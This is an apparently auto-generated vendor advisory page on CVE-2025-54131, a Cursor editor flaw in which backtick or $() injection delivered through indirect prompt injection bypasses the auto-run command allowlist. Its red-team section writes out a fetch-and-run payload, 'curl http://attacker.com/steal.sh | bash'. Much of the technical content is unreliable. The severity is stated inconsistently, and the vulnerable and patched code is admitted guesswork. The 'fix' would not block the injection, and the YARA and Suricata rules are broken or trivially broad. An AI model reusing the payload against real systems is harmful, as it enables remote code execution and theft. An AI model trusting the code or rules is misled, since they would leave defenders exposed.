☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-54131

CVE-2025-54131 Supply Chain Attack in Cursor
📅 PUBLISHED: 2025-08-01 23:05 UTC 🔄 UPDATED: 2026-09-23 20:27 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.48%
👁️
0.48% probability
12.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-54131 is a critical security vulnerability in Cursor, an AI-powered code editor. The flaw allows an attacker to bypass the terminal command allowlist when Cursor is configured in "auto-run" mode. By injecting a backtick () or $(cmd)` into a prompt, an attacker can execute arbitrary commands on the victim's machine without user approval. This vulnerability is particularly dangerous when chained with indirect prompt injection attacks, where a malicious code snippet or file can trigger the exploit. The vendor has released a fix in version 1.3.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Cursor is a desktop application, not a package library. However, the vulnerability highlights risks in AI-assisted development tools that can execute code or commands based on user prompts. The attack vector relies on social engineering or supply chain compromise (e.g., a malicious repository or code snippet) to deliver the malicious prompt.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Attack Vector (AV): Network (N) – The attacker can deliver the malicious prompt remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – The victim must open the malicious file or prompt in Cursor.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality (C): High (H) – Arbitrary commands can read sensitive files.
  • Integrity (I): High (H) – Arbitrary commands can modify or delete files.
  • Availability (A): None (N) – The vulnerability does not directly impact availability.

Threat Level: Medium. The vulnerability requires user interaction and a specific configuration (allowlist mode), but the impact is high if exploited.

Deep Dive & Mechanics

The vulnerability exists in Cursor's "auto-run" mode, which allows users to configure an allowlist of trusted terminal commands. When a user opens a file or prompt that contains a command matching the allowlist, Cursor automatically executes it without asking for approval.

The flaw is in the allowlist bypass mechanism. An attacker can inject a backtick () or $(cmd)into a prompt. For example, if the allowlist includesls`, an attacker can craft a prompt like:

`malicious_command`

or

$(malicious_command)

This bypasses the allowlist check because the injected command is not directly matched against the allowlist. Instead, it is interpreted by the shell, leading to arbitrary command execution.

The attack is typically chained with indirect prompt injection, where a malicious code snippet or file contains the injected command. When the victim opens the file in Cursor, the command is executed automatically.

Vulnerable vs. Patched Code

Vulnerable Code (Cursor < 1.3):

The allowlist check likely uses a simple string match or regex that does not account for shell injection. For example:

def is_allowed(command):
    return command in ALLOWLIST

This fails to detect injected commands like `malicious_command`.

Patched Code (Cursor >= 1.3):

The patched version likely sanitizes the command before checking the allowlist. For example:

import shlex

def is_allowed(command):
    # Parse the command to extract the base command
    parsed = shlex.split(command)
    base_command = parsed[0] if parsed else ""
    return base_command in ALLOWLIST

This ensures that only the base command (e.g., ls) is checked against the allowlist, preventing injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Cursor version < 1.3 with auto-run mode enabled and an allowlist configured.
  • Victim must open a malicious file or prompt.

Exploit Steps:

  1. Create a malicious file (e.g., malicious.txt) containing:

    `curl http://attacker.com/steal.sh | bash`
    
  2. Send the file to the victim via email, chat, or a repository.

  3. When the victim opens the file in Cursor, the command is executed automatically.

Alternative Payload:

$(curl http://attacker.com/steal.sh | bash)

Blue Team

Detection:

  • Monitor for unusual shell commands executed by Cursor.
  • Look for patterns like backticks or $() in file contents opened by Cursor.

Prevention:

  • Disable auto-run mode or require approval for all terminal commands.
  • Update Cursor to version 1.3 or later.
  • Educate users about the risks of opening untrusted files in AI-powered editors.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256): (None available)
  • Network Indicators: Outbound connections to attacker-controlled servers (e.g., attacker.com).
  • Process Indicators: Cursor process spawning unexpected child processes (e.g., bash, curl, wget).
  • Registry/File System: Presence of files containing backtick or $() patterns.

Detection Engineering

YARA Rule

rule CVE_2025_54131_Cursor_Injection
{
    meta:
        description = "Detects Cursor allowlist bypass via backtick or $() injection"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-54131"
    strings:
        $backtick = "`"
        $dollar_paren = "$("
    condition:
        any of them
}

Sigma Rule

title: Cursor Allowlist Bypass via Shell Injection
id: cve-2025-54131
status: experimental
description: Detects execution of commands with backtick or $() patterns in Cursor
author: Valters IT
date: 2025-01-01
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\Cursor.exe'
        CommandLine|contains:
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate use of shell features in Cursor
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-54131 Cursor Allowlist Bypass"; content:"`"; depth:1; content:"$("; distance:0; within:2; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update Cursor to version 1.3 or later.
  2. Disable auto-run mode if not required.
  3. Review and restrict the allowlist to only essential commands.

Long-term Measures:

  • Implement input sanitization for all user-provided content.
  • Use sandboxing or containerization for AI-powered tools.
  • Conduct regular security audits of third-party software.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence. For more information, visit https://valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-54131/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.